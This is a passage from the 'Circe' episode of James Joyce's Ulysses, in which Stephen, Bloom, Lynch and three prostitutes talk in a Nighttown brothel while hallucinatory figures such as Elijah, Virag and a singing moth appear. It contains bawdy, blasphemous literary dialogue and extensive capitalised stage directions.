HIGGLEDYPIGGLEDY. THE WALLS ARE TAPESTRIED +WITH A PAPER OF YEWFRONDS AND CLEAR GLADES. IN THE GRATE IS SPREAD A +SCREEN OF PEACOCK FEATHERS. LYNCH SQUATS CROSSLEGGED ON THE HEARTHRUG OF +MATTED HAIR, HIS CAP BACK TO THE FRONT. WITH A WAND HE BEATS TIME SLOWLY. +KITTY RICKETTS, A BONY PALLID WHORE IN NAVY COSTUME, DOESKIN GLOVES +ROLLED BACK FROM A CORAL WRISTLET, A CHAIN PURSE IN HER HAND, SITS +PERCHED ON THE EDGE OF THE TABLE SWINGING HER LEG AND GLANCING AT HERSELF +IN THE GILT MIRROR OVER THE MANTELPIECE. A TAG OF HER CORSETLACE HANGS +SLIGHTLY BELOW HER JACKET. LYNCH INDICATES MOCKINGLY THE COUPLE AT THE +PIANO.) + +KITTY: (COUGHS BEHIND HER HAND) She's a bit imbecillic. (SHE SIGNS WITH A +WAGGLING FOREFINGER) Blemblem. (LYNCH LIFTS UP HER SKIRT AND WHITE +PETTICOAT WITH HIS WAND SHE SETTLES THEM DOWN QUICKLY.) Respect yourself. +(SHE HICCUPS, THEN BENDS QUICKLY HER SAILOR HAT UNDER WHICH HER HAIR +GLOWS, RED WITH HENNA) O, excuse! + +ZOE: More limelight, Charley. (SHE GOES TO THE CHANDELIER AND TURNS THE +GAS FULL COCK) + +KITTY: (PEERS AT THE GASJET) What ails it tonight? + +LYNCH: (DEEPLY) Enter a ghost and hobgoblins. + +ZOE: Clap on the back for Zoe. + +(THE WAND IN LYNCH'S HAND FLASHES: A BRASS POKER. STEPHEN STANDS AT THE +PIANOLA ON WHICH SPRAWL HIS HAT AND ASHPLANT. WITH TWO FINGERS HE REPEATS +ONCE MORE THE SERIES OF EMPTY FIFTHS. FLORRY TALBOT, A BLOND FEEBLE +GOOSEFAT WHORE IN A TATTERDEMALION GOWN OF MILDEWED STRAWBERRY, LOLLS +SPREADEAGLE IN THE SOFACORNER, HER LIMP FOREARM PENDENT OVER THE BOLSTER, +LISTENING. A HEAVY STYE DROOPS OVER HER SLEEPY EYELID.) + +KITTY: (HICCUPS AGAIN WITH A KICK OF HER HORSED FOOT) O, excuse! + +ZOE: (PROMPTLY) Your boy's thinking of you. Tie a knot on your shift. + +(KITTY RICKETTS BENDS HER HEAD. HER BOA UNCOILS, SLIDES, GLIDES OVER HER +SHOULDER, BACK, ARM, CHAIR TO THE GROUND. LYNCH LIFTS THE CURLED +CATERPILLAR ON HIS WAND. SHE SNAKES HER NECK, NESTLING. STEPHEN GLANCES +BEHIND AT THE SQUATTED FIGURE WITH ITS CAP BACK TO THE FRONT.) + +STEPHEN: As a matter of fact it is of no importance whether Benedetto +Marcello found it or made it. The rite is the poet's rest. It may be an +old hymn to Demeter or also illustrate COELA ENARRANT GLORIAM DOMINI. It +is susceptible of nodes or modes as far apart as hyperphrygian and +mixolydian and of texts so divergent as priests haihooping round David's +that is Circe's or what am I saying Ceres' altar and David's tip from the +stable to his chief bassoonist about the alrightness of his almightiness. +MAIS NOM DE NOM, that is another pair of trousers. JETEZ LA GOURME. FAUT +QUE JEUNESSE SE PASSE. (HE STOPS, POINTS AT LYNCH'S CAP, SMILES, LAUGHS) +Which side is your knowledge bump? + +THE CAP: (WITH SATURNINE SPLEEN) Bah! It is because it is. Woman's +reason. Jewgreek is greekjew. Extremes meet. Death is the highest form of +life. Bah! + +STEPHEN: You remember fairly accurately all my errors, boasts, mistakes. +How long shall I continue to close my eyes to disloyalty? Whetstone! + +THE CAP: Bah! + +STEPHEN: Here's another for you. (HE FROWNS) The reason is because the +fundamental and the dominant are separated by the greatest possible +interval which ... + +THE CAP: Which? Finish. You can't. + +STEPHEN: (WITH AN EFFORT) Interval which. Is the greatest possible +ellipse. Consistent with. The ultimate return. The octave. Which. + +THE CAP: Which? + +(OUTSIDE THE GRAMOPHONE BEGINS TO BLARE The Holy City.) + +STEPHEN: (ABRUPTLY) What went forth to the ends of the world to traverse +not itself, God, the sun, Shakespeare, a commercial traveller, having +itself traversed in reality itself becomes that self. Wait a moment. Wait +a second. Damn that fellow's noise in the street. Self which it itself +was ineluctably preconditioned to become. ECCO! + +LYNCH: (WITH A MOCKING WHINNY OF LAUGHTER GRINS AT BLOOM AND ZOE HIGGINS) +What a learned speech, eh? + +ZOE: (BRISKLY) God help your head, he knows more than you have forgotten. + +(WITH OBESE STUPIDITY FLORRY TALBOT REGARDS STEPHEN.) + +FLORRY: They say the last day is coming this summer. + +KITTY: No! + +ZOE: (EXPLODES IN LAUGHTER) Great unjust God! + +FLORRY: (OFFENDED) Well, it was in the papers about Antichrist. O, my +foot's tickling. + +(RAGGED BAREFOOT NEWSBOYS, JOGGING A WAGTAIL KITE, PATTER PAST, YELLING.) + +THE NEWSBOYS: Stop press edition. Result of the rockinghorse races. Sea +serpent in the royal canal. Safe arrival of Antichrist. + +(STEPHEN TURNS AND SEES BLOOM.) + +STEPHEN: A time, times and half a time. + +(REUBEN I ANTICHRIST, WANDERING JEW, A CLUTCHING HAND OPEN ON HIS SPINE, +STUMPS FORWARD. ACROSS HIS LOINS IS SLUNG A PILGRIM'S WALLET FROM WHICH +PROTRUDE PROMISSORY NOTES AND DISHONOURED BILLS. ALOFT OVER HIS SHOULDER +HE BEARS A LONG BOATPOLE FROM THE HOOK OF WHICH THE SODDEN HUDDLED MASS +OF HIS ONLY SON, SAVED FROM LIFFEY WATERS, HANGS FROM THE SLACK OF ITS +BREECHES. A HOBGOBLIN IN THE IMAGE OF PUNCH COSTELLO, HIPSHOT, +CROOKBACKED, HYDROCEPHALIC, PROGNATHIC WITH RECEDING FOREHEAD AND ALLY +SLOPER NOSE, TUMBLES IN SOMERSAULTS THROUGH THE GATHERING DARKNESS.) + +ALL: What? + +THE HOBGOBLIN: (HIS JAWS CHATTERING, CAPERS TO AND FRO, GOGGLING HIS +EYES, SQUEAKING, KANGAROOHOPPING WITH OUTSTRETCHED CLUTCHING ARMS, THEN +ALL AT ONCE THRUSTS HIS LIPLESS FACE THROUGH THE FORK OF HIS THIGHS) IL +VIENT! C'EST MOI! L'HOMME QUI RIT! L'HOMME PRIMIGENE! (HE WHIRLS ROUND +AND ROUND WITH DERVISH HOWLS) SIEURS ET DAMES, FAITES VOS JEUX! (HE +CROUCHES JUGGLING. TINY ROULETTE PLANETS FLY FROM HIS HANDS.) LES JEUX +SONT FAITS! (THE PLANETS RUSH TOGETHER, UTTERING CREPITANT CRACKS) RIEN +VA PLUS! (THE PLANETS, BUOYANT BALLOONS, SAIL SWOLLEN UP AND AWAY. HE +SPRINGS OFF INTO VACUUM.) + +FLORRY: (SINKING INTO TORPOR, CROSSING HERSELF SECRETLY) The end of the +world! + +(A FEMALE TEPID EFFLUVIUM LEAKS OUT FROM HER. NEBULOUS OBSCURITY OCCUPIES +SPACE. THROUGH THE DRIFTING FOG WITHOUT THE GRAMOPHONE BLARES OVER COUGHS +AND FEETSHUFFLING.) + +THE GRAMOPHONE: Jerusalem! + +Open your gates and sing + +Hosanna ... + +(A ROCKET RUSHES UP THE SKY AND BURSTS. A WHITE STAR FILLS FROM IT, +PROCLAIMING THE CONSUMMATION OF ALL THINGS AND SECOND COMING OF ELIJAH. +ALONG AN INFINITE INVISIBLE TIGHTROPE TAUT FROM ZENITH TO NADIR THE END +OF THE WORLD, A TWOHEADED OCTOPUS IN GILLIE'S KILTS, BUSBY AND TARTAN +FILIBEGS, WHIRLS THROUGH THE MURK, HEAD OVER HEELS, IN THE FORM OF THE +THREE LEGS OF MAN.) + +THE END OF THE WORLD: (WITH A SCOTCH ACCENT) Wha'll dance the keel row, +the keel row, the keel row? + +(OVER THE POSSING DRIFT AND CHOKING BREATHCOUGHS, ELIJAH'S VOICE, HARSH +AS A CORNCRAKE'S, JARS ON HIGH. PERSPIRING IN A LOOSE LAWN SURPLICE WITH +FUNNEL SLEEVES HE IS SEEN, VERGERFACED, ABOVE A ROSTRUM ABOUT WHICH THE +BANNER OF OLD GLORY IS DRAPED. HE THUMPS THE PARAPET.) + +ELIJAH: No yapping, if you please, in this booth. Jake Crane, Creole Sue, +Dove Campbell, Abe Kirschner, do your coughing with your mouths shut. +Say, I am operating all this trunk line. Boys, do it now. God's time is +12.25. Tell mother you'll be there. Rush your order and you play a slick +ace. Join on right here. Book through to eternity junction, the nonstop +run. Just one word more. Are you a god or a doggone clod? If the second +advent came to Coney Island are we ready? Florry Christ, Stephen Christ, +Zoe Christ, Bloom Christ, Kitty Christ, Lynch Christ, it's up to you to +sense that cosmic force. Have we cold feet about the cosmos? No. Be on +the side of the angels. Be a prism. You have that something within, the +higher self. You can rub shoulders with a Jesus, a Gautama, an Ingersoll. +Are you all in this vibration? I say you are. You once nobble that, +congregation, and a buck joyride to heaven becomes a back number. You got +me? It's a lifebrightener, sure. The hottest stuff ever was. It's the +whole pie with jam in. It's just the cutest snappiest line out. It is +immense, supersumptuous. It restores. It vibrates. I know and I am some +vibrator. Joking apart and, getting down to bedrock, A. J. Christ Dowie +and the harmonial philosophy, have you got that? O. K. Seventyseven west +sixtyninth street. Got me? That's it. You call me up by sunphone any old +time. Bumboosers, save your stamps. (HE SHOUTS) Now then our glory song. +All join heartily in the singing. Encore! (HE SINGS) Jeru ... + +THE GRAMOPHONE: (DROWNING HIS VOICE) Whorusalaminyourhighhohhhh ... (THE +DISC RASPS GRATINGLY AGAINST THE NEEDLE) + +THE THREE WHORES: (COVERING THEIR EARS, SQUAWK) Ahhkkk! + +ELIJAH: (IN ROLLEDUP SHIRTSLEEVES, BLACK IN THE FACE, SHOUTS AT THE TOP +OF HIS VOICE, HIS ARMS UPLIFTED) Big Brother up there, Mr President, you +hear what I done just been saying to you. Certainly, I sort of believe +strong in you, Mr President. I certainly am thinking now Miss Higgins and +Miss Ricketts got religion way inside them. Certainly seems to me I don't +never see no wusser scared female than the way you been, Miss Florry, +just now as I done seed you. Mr President, you come long and help me save +our sisters dear. (HE WINKS AT HIS AUDIENCE) Our Mr President, he twig +the whole lot and he aint saying nothing. + +KITTY-KATE: I forgot myself. In a weak moment I erred and did what I did +on Constitution hill. I was confirmed by the bishop and enrolled in the +brown scapular. My mother's sister married a Montmorency. It was a +working plumber was my ruination when I was pure. + +ZOE-FANNY: I let him larrup it into me for the fun of it. + +FLORRY-TERESA: It was in consequence of a portwine beverage on top of +Hennessy's three star. I was guilty with Whelan when he slipped into the +bed. + +STEPHEN: In the beginning was the word, in the end the world without end. +Blessed be the eight beatitudes. + +(THE BEATITUDES, DIXON, MADDEN, CROTTHERS, COSTELLO, LENEHAN, BANNON, +MULLIGAN AND LYNCH IN WHITE SURGICAL STUDENTS' GOWNS, FOUR ABREAST, +GOOSESTEPPING, TRAMP FIST PAST IN NOISY MARCHING) + +THE BEATITUDES: (INCOHERENTLY) Beer beef battledog buybull businum barnum +buggerum bishop. + +LYSTER: (IN QUAKERGREY KNEEBREECHES AND BROADBRIMMED HAT, SAYS +DISCREETLY) He is our friend. I need not mention names. Seek thou the +light. + +(HE CORANTOS BY. BEST ENTERS IN HAIRDRESSER'S ATTIRE, SHINILY LAUNDERED, +HIS LOCKS IN CURLPAPERS. HE LEADS JOHN EGLINTON WHO WEARS A MANDARIN'S +KIMONO OF NANKEEN YELLOW, LIZARDLETTERED, AND A HIGH PAGODA HAT.) + +BEST: (SMILING, LIFTS THE HAT AND DISPLAYS A SHAVEN POLL FROM THE CROWN +OF WHICH BRISTLES A PIGTAIL TOUPEE TIED WITH AN ORANGE TOPKNOT) I was +just beautifying him, don't you know. A thing of beauty, don't you know, +Yeats says, or I mean, Keats says. + +JOHN EGLINTON: (PRODUCES A GREENCAPPED DARK LANTERN AND FLASHES IT +TOWARDS A CORNER: WITH CARPING ACCENT) Esthetics and cosmetics are for +the boudoir. I am out for truth. Plain truth for a plain man. Tanderagee +wants the facts and means to get them. + +(IN THE CONE OF THE SEARCHLIGHT BEHIND THE COALSCUTTLE, OLLAVE, HOLYEYED, +THE BEARDED FIGURE OF MANANAUN MACLIR BROODS, CHIN ON KNEES. HE RISES +SLOWLY. A COLD SEAWIND BLOWS FROM HIS DRUID MOUTH. ABOUT HIS HEAD WRITHE +EELS AND ELVERS. HE IS ENCRUSTED WITH WEEDS AND SHELLS. HIS RIGHT HAND +HOLDS A BICYCLE PUMP. HIS LEFT HAND GRASPS A HUGE CRAYFISH BY ITS TWO +TALONS.) + +MANANAUN MACLIR: (WITH A VOICE OF WAVES) Aum! Hek! Wal! Ak! Lub! Mor! Ma! +White yoghin of the gods. Occult pimander of Hermes Trismegistos. (WITH A +VOICE OF WHISTLING SEAWIND) Punarjanam patsypunjaub! I won't have my leg +pulled. It has been said by one: beware the left, the cult of Shakti. +(WITH A CRY OF STORMBIRDS) Shakti Shiva, darkhidden Father! (HE SMITES +WITH HIS BICYCLE PUMP THE CRAYFISH IN HIS LEFT HAND. ON ITS COOPERATIVE +DIAL GLOW THE TWELVE SIGNS OF THE ZODIAC. HE WAILS WITH THE VEHEMENCE OF +THE OCEAN.) Aum! Baum! Pyjaum! I am the light of the homestead! I am the +dreamery creamery butter. + +(A SKELETON JUDASHAND STRANGLES THE LIGHT. THE GREEN LIGHT WANES TO +MAUVE. THE GASJET WAILS WHISTLING.) + +THE GASJET: Pooah! Pfuiiiiiii! + +(ZOE RUNS TO THE CHANDELIER AND, CROOKING HER LEG, ADJUSTS THE MANTLE.) + +ZOE: Who has a fag as I'm here? + +LYNCH: (TOSSING A CIGARETTE ON TO THE TABLE) Here. + +ZOE: (HER HEAD PERCHED ASIDE IN MOCK PRIDE) Is that the way to hand the +POT to a lady? (SHE STRETCHES UP TO LIGHT THE CIGARETTE OVER THE FLAME, +TWIRLING IT SLOWLY, SHOWING THE BROWN TUFTS OF HER ARMPITS. LYNCH WITH +HIS POKER LIFTS BOLDLY A SIDE OF HER SLIP. BARE FROM HER GARTERS UP HER +FLESH APPEARS UNDER THE SAPPHIRE A NIXIE'S GREEN. SHE PUFFS CALMLY AT HER +CIGARETTE.) Can you see the beautyspot of my behind? + +LYNCH: I'm not looking + +ZOE: (MAKES SHEEP'S EYES) No? You wouldn't do a less thing. Would you +suck a lemon? + +(SQUINTING IN MOCK SHAME SHE GLANCES WITH SIDELONG MEANING AT BLOOM, THEN +TWISTS ROUND TOWARDS HIM, PULLING HER SLIP FREE OF THE POKER. BLUE FLUID +AGAIN FLOWS OVER HER FLESH. BLOOM STANDS, SMILING DESIROUSLY, TWIRLING +HIS THUMBS. KITTY RICKETTS LICKS HER MIDDLE FINGER WITH HER SPITTLE AND, +GAZING IN THE MIRROR, SMOOTHS BOTH EYEBROWS. LIPOTI VIRAG, +BASILICOGRAMMATE, CHUTES RAPIDLY DOWN THROUGH THE CHIMNEYFLUE AND STRUTS +TWO STEPS TO THE LEFT ON GAWKY PINK STILTS. HE IS SAUSAGED INTO SEVERAL +OVERCOATS AND WEARS A BROWN MACINTOSH UNDER WHICH HE HOLDS A ROLL OF +PARCHMENT. IN HIS LEFT EYE FLASHES THE MONOCLE OF CASHEL BOYLE O'CONNOR +FITZMAURICE TISDALL FARRELL. ON HIS HEAD IS PERCHED AN EGYPTIAN PSHENT. +TWO QUILLS PROJECT OVER HIS EARS.) + +VIRAG: (HEELS TOGETHER, BOWS) My name is Virag Lipoti, of Szombathely. +(HE COUGHS THOUGHTFULLY, DRILY) Promiscuous nakedness is much in evidence +hereabouts, eh? Inadvertently her backview revealed the fact that she is +not wearing those rather intimate garments of which you are a particular +devotee. The injection mark on the thigh I hope you perceived? Good. + +BLOOM: Granpapachi. But ... + +VIRAG: Number two on the other hand, she of the cherry rouge and +coiffeuse white, whose hair owes not a little to our tribal elixir of +gopherwood, is in walking costume and tightly staysed by her sit, I +should opine. Backbone in front, so to say. Correct me but I always +understood that the act so performed by skittish humans with glimpses of +lingerie appealed to you in virtue of its exhibitionististicicity. In a +word. Hippogriff. Am I right? + +BLOOM: She is rather lean. + +VIRAG: (NOT UNPLEASANTLY) Absolutely! Well observed and those pannier +pockets of the skirt and slightly pegtop effect are devised to suggest +bunchiness of hip. A new purchase at some monster sale for which a gull +has been mulcted. Meretricious finery to deceive the eye. Observe the +attention to details of dustspecks. Never put on you tomorrow what you +can wear today. Parallax! (WITH A NERVOUS TWITCH OF HIS HEAD) Did you +hear my brain go snap? Pollysyllabax! + +BLOOM: (AN ELBOW RESTING IN A HAND, A FOREFINGER AGAINST HIS CHEEK) She +seems sad. + +VIRAG: (CYNICALLY, HIS WEASEL TEETH BARED YELLOW, DRAWS DOWN HIS LEFT EYE +WITH A FINGER AND BARKS HOARSELY) Hoax! Beware of the flapper and bogus +mournful. Lily of the alley. All possess bachelor's button discovered by +Rualdus Columbus. Tumble her. Columble her. Chameleon. (MORE GENIALLY) +Well then, permit me to draw your attention to item number three. There +is plenty of her visible to the naked eye. Observe the mass of oxygenated +vegetable matter on her skull. What ho, she bumps! The ugly duckling of +the party, longcasted and deep in keel. + +BLOOM: (REGRETFULLY) When you come out without your gun. + +VIRAG: We can do you all brands, mild, medium and strong. Pay your money, +take your choice. How happy could you be with either ... + +BLOOM: With ...? + +VIRAG: (HIS TONGUE UPCURLING) Lyum! Look. Her beam is broad. She is +coated with quite a considerable layer of fat. Obviously mammal in weight +of bosom you remark that she has in front well to the fore two +protuberances of very respectable dimensions, inclined to fall in the +noonday soupplate, while on her rere lower down are two additional +protuberances, suggestive of potent rectum and tumescent for palpation, +which leave nothing to be desired save compactness. Such fleshy parts are +the product of careful nurture. When coopfattened their livers reach an +elephantine size. Pellets of new bread with fennygreek and gumbenjamin +swamped down by potions of green tea endow them during their brief +existence with natural pincushions of quite colossal blubber. That suits +your book, eh? Fleshhotpots of Egypt to hanker after. Wallow in it. +Lycopodium. (HIS THROAT TWITCHES) Slapbang! There he goes again. + +BLOOM: The stye I dislike. + +VIRAG: (ARCHES HIS EYEBROWS) Contact with a goldring, they say. +ARGUMENTUM AD FEMINAM, as we said in old Rome and ancient Greece in the +consulship of Diplodocus and Ichthyosauros. For the rest Eve's sovereign +remedy. Not for sale. Hire only. Huguenot. (HE TWITCHES) It is a funny +sound. (HE COUGHS ENCOURAGINGLY) But possibly it is only a wart. I +presume you shall have remembered what I will have taught you on that +head? Wheatenmeal with honey and nutmeg. + +BLOOM: (REFLECTING) Wheatenmeal with lycopodium and syllabax. This +searching ordeal. It has been an unusually fatiguing day, a chapter of +accidents. Wait. I mean, wartsblood spreads warts, you said ... + +VIRAG: (SEVERELY, HIS NOSE HARDHUMPED, HIS SIDE EYE WINKING) Stop +twirling your thumbs and have a good old thunk. See, you have forgotten. +Exercise your mnemotechnic. LA CAUSA E SANTA. Tara. Tara. (ASIDE) He will +surely remember. + +BLOOM: Rosemary also did I understand you to say or willpower over +parasitic tissues. Then nay no I have an inkling. The touch of a deadhand +cures. Mnemo? + +VIRAG: (EXCITEDLY) I say so. I say so. E'en so. Technic. (HE TAPS HIS +PARCHMENTROLL ENERGETICALLY) This book tells you how to act with all +descriptive particulars. Consult index for agitated fear of aconite, +melancholy of muriatic, priapic pulsatilla. Virag is going to talk about +amputation. Our old friend caustic. They must be starved. Snip off with +horsehair under the denned neck. But, to change the venue to the Bulgar +and the Basque, have you made up your mind whether you like or dislike +women in male habiliments? (WITH A DRY SNIGGER) You intended to devote an +entire year to the study of the religious problem and the summer months +of 1886 to square the circle and win that million. Pomegranate! From the +sublime to the ridiculous is but a step. Pyjamas, let us say? Or +stockingette gussetted knickers, closed? Or, put we the case, those +complicated combinations, camiknickers? (HE CROWS DERISIVELY) +Keekeereekee! + +(BLOOM SURVEYS UNCERTAINLY THE THREE WHORES THEN GAZES AT THE VEILED +MAUVE LIGHT, HEARING THE EVERFLYING MOTH.) + +BLOOM: I wanted then to have now concluded. Nightdress was never. Hence +this. But tomorrow is a new day will be. Past was is today. What now is +will then morrow as now was be past yester. + +VIRAG: (PROMPTS IN A PIG'S WHISPER) Insects of the day spend their brief +existence in reiterated coition, lured by the smell of the inferiorly +pulchritudinous fumale possessing extendified pudendal nerve in dorsal +region. Pretty Poll! (HIS YELLOW PARROTBEAK GABBLES NASALLY) They had a +proverb in the Carpathians in or about the year five thousand five +hundred and fifty of our era. One tablespoonful of honey will attract +friend Bruin more than half a dozen barrels of first choice malt vinegar. +Bear's buzz bothers bees. But of this apart. At another time we may +resume. We were very pleased, we others. (HE COUGHS AND, BENDING HIS +BROW, RUBS HIS NOSE THOUGHTFULLY WITH A SCOOPING HAND) You shall find +that these night insects follow the light. An illusion for remember their +complex unadjustable eye. For all these knotty points see the seventeenth +book of my Fundamentals of Sexology or the Love Passion which Doctor L.B. +says is the book sensation of the year. Some, to example, there are again +whose movements are automatic. Perceive. That is his appropriate sun. +Nightbird nightsun nighttown. Chase me, Charley! (he blows into Bloom's +ear) Buzz! + +BLOOM: Bee or bluebottle too other day butting shadow on wall dazed self +then me wandered dazed down shirt good job I ... + +VIRAG: (HIS FACE IMPASSIVE, LAUGHS IN A RICH FEMININE KEY) Splendid! +Spanish fly in his fly or mustard plaster on his dibble. (HE GOBBLES +GLUTTONOUSLY WITH TURKEY WATTLES) Bubbly jock! Bubbly jock! Where are we? +Open Sesame! Cometh forth! (HE UNROLLS HIS PARCHMENT RAPIDLY AND READS, +HIS GLOWWORM'S NOSE RUNNING BACKWARDS OVER THE LETTERS WHICH HE CLAWS) +Stay, good friend. I bring thee thy answer. Redbank oysters will shortly +be upon us. I'm the best o'cook. Those succulent bivalves may help us and +the truffles of Perigord, tubers dislodged through mister omnivorous +porker, were unsurpassed in cases of nervous debility or viragitis. +Though they stink yet they sting. (HE WAGS HIS HEAD WITH CACKLING +RAILLERY) Jocular. With my eyeglass in my ocular. (HE SNEEZES) Amen! + +BLOOM: (ABSENTLY) Ocularly woman's bivalve case is worse. Always open +sesame. The cloven sex. Why they fear vermin, creeping things. Yet Eve +and the serpent contradicts. Not a historical fact. Obvious analogy to my +idea. Serpents too are gluttons for woman's milk. Wind their way through +miles of omnivorous forest to sucksucculent her breast dry. Like those +bubblyjocular Roman matrons one reads of in Elephantuliasis. + +VIRAG: (HIS MOUTH PROJECTED IN HARD WRINKLES, EYES STONILY FORLORNLY +CLOSED, PSALMS IN OUTLANDISH MONOTONE) That the cows with their those +distended udders that they have been the the known ... + +BLOOM: I am going to scream. I beg your pardon. Ah? So. (HE REPEATS) +Spontaneously to seek out the saurian's lair in order to entrust their +teats to his avid suction. Ant milks aphis. (PROFOUNDLY) Instinct rules +the world. In life. In death. + +VIRAG: (HEAD ASKEW, ARCHES HIS BACK AND HUNCHED WINGSHOULDERS, PEERS AT +THE MOTH OUT OF BLEAR BULGED EYES, POINTS A HORNING CLAW AND CRIES) Who's +moth moth? Who's dear Gerald? Dear Ger, that you? O dear, he is Gerald. +O, I much fear he shall be most badly burned. Will some pleashe pershon +not now impediment so catastrophics mit agitation of firstclass +tablenumpkin? (HE MEWS) Puss puss puss puss! (HE SIGHS, DRAWS BACK AND +STARES SIDEWAYS DOWN WITH DROPPING UNDERJAW) Well, well. He doth rest +anon. (he snaps his jaws suddenly on the air) + +THE MOTH: + + + I'm a tiny tiny thing + Ever flying in the spring + Round and round a ringaring. + Long ago I was a king + Now I do this kind of thing + On the wing, on the wing! + Bing! + + +(HE RUSHES AGAINST THE MAUVE SHADE, FLAPPING NOISILY) Pretty pretty +pretty pretty pretty pretty petticoats. + +(FROM LEFT UPPER ENTRANCE WITH TWO GLIDING STEPS HENRY FLOWER COMES +FORWARD TO LEFT FRONT CENTRE. HE WEARS A DARK MANTLE AND DROOPING PLUMED +SOMBRERO. HE CARRIES A SILVERSTRINGED INLAID DULCIMER AND A LONGSTEMMED +BAMBOO JACOB'S PIPE, ITS CLAY BOWL FASHIONED AS A FEMALE HEAD. HE WEARS +DARK VELVET HOSE AND SILVERBUCKLED PUMPS. HE HAS THE ROMANTIC SAVIOUR'S +FACE WITH FLOWING LOCKS, THIN BEARD AND MOUSTACHE. HIS SPINDLELEGS AND +SPARROW FEET ARE THOSE OF THE TENOR MARIO, PRINCE OF CANDIA. HE SETTLES +DOWN HIS GOFFERED RUFFS AND MOISTENS HIS LIPS WITH A PASSAGE OF HIS +AMOROUS TONGUE.) + +HENRY: (IN A LOW DULCET VOICE, TOUCHING THE STRINGS OF HIS GUITAR) There +is a flower that bloometh. + +(VIRAG TRUCULENT, HIS JOWL SET, STARES AT THE LAMP. GRAVE BLOOM REGARDS +ZOE'S NECK. HENRY GALLANT TURNS WITH PENDANT DEWLAP TO THE PIANO.) + +STEPHEN: (TO HIMSELF) Play with your eyes shut. Imitate pa. Filling my +belly with husks of swine. Too much of this. I will arise and go to my. +Expect this is the. Steve, thou art in a parlous way. Must visit old +Deasy or telegraph. Our interview of this morning has left on me a deep +impression. Though our ages. Will write fully tomorrow. I'm partially +drunk, by the way. (HE TOUCHES THE KEYS AGAIN) Minor chord comes now. +Yes. Not much however. + +(ALMIDANO ARTIFONI HOLDS OUT A BATONROLL OF MUSIC WITH VIGOROUS +MOUSTACHEWORK.) + +ARTIFONI: CI RIFLETTA. LEI ROVINA TUTTO. + +FLORRY: Sing us something. Love's old sweet song. + +STEPHEN: No voice. I am a most finished artist. Lynch, did I show you the +letter about the lute? + +FLORRY: (SMIRKING) The bird that can sing and won't sing. + +(THE SIAMESE TWINS, PHILIP DRUNK AND PHILIP SOBER, TWO OXFORD DONS WITH +LAWNMOWERS, APPEAR IN THE WINDOW EMBRASURE. BOTH ARE MASKED WITH MATTHEW +ARNOLD'S FACE.) + +PHILIP SOBER: Take a fool's advice. All is not well. Work it out with the +buttend of a pencil, like a good young idiot. Three pounds twelve you +got, two notes, one sovereign, two crowns, if youth but knew. Mooney's en +ville, Mooney's sur mer, the Moira, Larchet's, Holles street hospital, +Burke's. Eh? I am watching you. + +PHILIP DRUNK: (IMPATIENTLY) Ah, bosh, man. Go to hell! I paid my way. If +I could only find out about octaves. Reduplication of personality. Who +was it told me his name? (HIS LAWNMOWER BEGINS TO PURR) Aha, yes. ZOE MOU +SAS AGAPO. Have a notion I was here before. When was it not Atkinson his +card I have somewhere. Mac Somebody. Unmack I have it. He told me about, +hold on, Swinburne, was it, no? + +FLORRY: And the song? + +STEPHEN: Spirit is willing but the flesh is weak. + +FLORRY: Are you out of Maynooth? You're like someone I knew once. + +STEPHEN: Out of it now. (TO HIMSELF) Clever. + +PHILIP DRUNK AND PHILIP SOBER: (THEIR LAWNMOWERS PURRING WITH A RIGADOON +OF GRASSHALMS) Clever ever. Out of it out of it. By the bye have you the +book, the thing, the ashplant? Yes, there it, yes. Cleverever outofitnow. +Keep in condition. Do like us. + +ZOE: There was a priest down here two nights ago to do his bit of +business with his coat buttoned up. You needn't try to hide, I says to +him. I know you've a Roman collar. + +VIRAG: Perfectly logical from his standpoint. Fall of man. (HARSHLY, HIS +PUPILS WAXING) To hell with the pope! Nothing new under the sun. I am the +Virag who disclosed the Sex Secrets of Monks and Maidens. Why I left the +church of Rome. Read the Priest, the Woman and the Confessional. Penrose. +Flipperty Jippert. (HE WRIGGLES) Woman, undoing with sweet pudor her belt +of rushrope, offers her allmoist yoni to man's lingam. Short time after +man presents woman with pieces of jungle meat. Woman shows joy and covers +herself with featherskins. Man loves her yoni fiercely with big lingam, +the stiff one. (HE CRIES) COACTUS VOLUI. Then giddy woman will run about. +Strong man grapses woman's wrist. Woman squeals, bites, spucks. Man, now +fierce angry, strikes woman's fat yadgana. (HE CHASES HIS TAIL) Piffpaff! +Popo! (HE STOPS, SNEEZES) Pchp! (HE WORRIES HIS BUTT) Prrrrrht! + +LYNCH: I hope you gave the good father a penance. Nine glorias for +shooting a bishop. + +ZOE: (SPOUTS WALRUS SMOKE THROUGH HER NOSTRILS) He couldn't get a +connection. Only, you know, sensation. A dry rush. + +BLOOM: Poor man! + +ZOE: (LIGHTLY) Only for what happened him. + +BLOOM: How? + +VIRAG: (A DIABOLIC RICTUS OF BLACK LUMINOSITY CONTRACTING HIS VISAGE, +CRANES HIS SCRAGGY NECK FORWARD. HE LIFTS A MOONCALF NOZZLE AND HOWLS.) +VERFLUCHTE GOIM! He had a father, forty fathers. He never existed. Pig +God! He had two left feet. He was Judas Iacchia, a Libyan eunuch, the +pope's bastard. (HE LEANS OUT ON TORTURED FOREPAWS, ELBOWS BENT RIGID, +HIS EYE AGONISING IN HIS FLAT SKULLNECK AND YELPS OVER THE MUTE WORLD) A +son of a whore. Apocalypse. + +KITTY: And Mary Shortall that was in the lock with the pox she got from +Jimmy Pidgeon in the blue caps had a child off him that couldn't swallow +and was smothered with the convulsions in the mattress and we all +subscribed for the funeral. + +PHILIP DRUNK: (GRAVELY) QUI VOUS A MIS DANS CETTE FICHUE POSITION, +PHILIPPE? + +PHILIP SOBER: (GAILY) C'ETAIT LE SACRE PIGEON, PHILIPPE. + +(KITTY UNPINS HER HAT AND SETS IT DOWN CALMLY, PATTING HER HENNA HAIR. +AND A PRETTIER, A DAINTIER HEAD OF WINSOME CURLS WAS NEVER SEEN ON A +WHORE'S SHOULDERS. LYNCH PUTS ON HER HAT. SHE WHIPS IT OFF.) + +LYNCH: (LAUGHS) And to such delights has Metchnikoff inoculated +anthropoid apes. + +FLORRY: (NODS) Locomotor ataxy. + +ZOE: (GAILY) O, my dictionary. + +LYNCH: Three wise virgins. + +VIRAG: (AGUESHAKEN, PROFUSE YELLOW SPAWN FOAMING OVER HIS BONY EPILEPTIC +LIPS) She sold lovephiltres, whitewax, orangeflower. Panther, the Roman +centurion, polluted her with his genitories. (HE STICKS OUT A FLICKERING +PHOSPHORESCENT SCORPION TONGUE, HIS HAND ON HIS FORK) Messiah! He burst +her tympanum. (WITH GIBBERING BABOON'S CRIES HE JERKS HIS HIPS IN THE +CYNICAL SPASM) Hik! Hek! Hak! Hok! Huk! Kok! Kuk! 